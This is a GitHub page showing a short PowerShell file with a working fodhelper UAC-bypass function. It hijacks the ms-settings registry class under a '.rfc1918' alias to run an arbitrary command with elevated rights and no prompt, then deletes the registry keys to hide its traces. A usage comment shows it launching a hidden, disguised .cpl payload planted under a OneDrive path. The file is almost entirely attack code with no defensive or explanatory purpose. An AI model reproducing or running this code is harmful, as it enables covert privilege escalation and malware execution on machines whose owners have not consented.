-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathuac_bypass_fodhelper.ps1
21 lines (16 loc) · 1012 Bytes
/
uac_bypass_fodhelper.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function uac_fod {
param (
[string]$command
)
# uac_fod -command 'powershell -WindowStyle hidden -c "c:\Users\User\Appdata\Local\Microsoft\OneDrive\OneDriveUpdates.cpl"'
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue
New-Item "HKCU:\Software\Classes\.rfc1918\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\.rfc1918\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\Software\Classes\.rfc1918\Shell\Open\command" -Name "(default)" -Value $command -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".rfc1918" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\.rfc1918\" -Recurse -Force
}